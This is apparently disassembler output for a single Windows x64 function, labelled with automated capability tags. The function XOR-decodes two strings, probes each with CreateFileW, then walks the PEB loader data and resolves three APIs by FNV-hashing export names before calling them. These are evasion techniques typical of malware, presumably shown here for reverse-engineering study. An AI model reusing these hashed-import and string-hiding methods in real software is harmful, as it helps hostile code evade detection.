Function at 0x140019ba4
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov eax, dword [0x140030e28]
lea r9, [rbp - 0x40]
movups xmm0, xmmword [str.ohejsMTJN]
mov dword [rbp - 0x30], eax
xor r8d, r8d
movzx eax, word [0x140030e2c]
mov r10d, 0x4ec4ec4f
movups xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x2c], ax
mov eax, r10d
mul r8d
shr edx, 4
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x33
xor word [r9], ax
lea r9, [r9 + 2]
cmp r8d, 0xb
jl 0x140019bea
movups xmm0, xmmword [str.ohejKOVLXL_]
lea rax, [rbp - 0x40]
xor r8d, r8d
movsd xmm1, qword [0x14002f020]
lea r9, [rbp - 0x28]
mov qword [rbp - 0x40], rax
movzx eax, word [0x14002f028]
mov word [rbp - 0x10], ax
movups xmmword [rbp - 0x28], xmm0
movsd qword [rbp - 0x18], xmm1
mov eax, r10d
mul r8d
shr edx, 4
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x33
xor word [r9], ax
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x140019c47
lea rax, [rbp - 0x28]
xor ebx, ebx
mov qword [rbp - 0x38], rax
and qword [rsp + 0x30], 0
xor r9d, r9d
mov rcx, qword [rbp + rbx*8 - 0x40]
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x140019e74
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x140019d29
mov edx, dword [r10 + 0x18]
test edx, edx
je 0x140019d29
mov edi, dword [r10 + 0x20]
dec edx
mov r11d, 0x2459c205
lea rcx, [rdi + rdx*4]
mov r9d, dword [rcx + r8]
add r9, r8
mov cl, byte [r9]
inc r9
test cl, cl
je 0x140019d25
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r9]
inc r9
test cl, cl
jne 0x140019d05
cmp r11d, 0xf69f6ec5
je 0x140019d2e
test edx, edx
jne 0x140019ce8
mov rax, qword [rax]
jmp 0x140019cc4
mov ecx, dword [r10 + 0x24]
add rcx, r8
movzx edx, word [rcx + rdx*2]
mov ecx, dword [r10 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r8
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x140019dc0
mov edx, dword [r9 + 0x18]
test edx, edx
je 0x140019dc0
mov esi, dword [r9 + 0x20]
dec edx
mov r11d, 0x1e21300d
lea rcx, [rsi + rdx*4]
mov r10d, dword [rcx + r8]
add r10, r8
mov cl, byte [r10]
inc r10
test cl, cl
je 0x140019dbc
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r10]
inc r10
test cl, cl
jne 0x140019d9c
cmp r11d, 0x4159cb81
je 0x140019dc5
test edx, edx
jne 0x140019d7f
mov rax, qword [rax]
jmp 0x140019d5b
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + rdx*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x140019e55
mov edx, dword [r9 + 0x18]
test edx, edx
je 0x140019e55
mov esi, dword [r9 + 0x20]
dec edx
mov r11d, 0xe00ffb4d
lea rcx, [rsi + rdx*4]
mov r10d, dword [rcx + r8]
add r10, r8
mov cl, byte [r10]
inc r10
test cl, cl
je 0x140019e51
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r10]
inc r10
test cl, cl
jne 0x140019e31
cmp r11d, 0xa2034fe9
je 0x140019e5a
test edx, edx
jne 0x140019e14
mov rax, qword [rax]
jmp 0x140019df0
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + rdx*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
call rax
inc rbx
cmp rbx, 2
jl 0x140019c7c
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret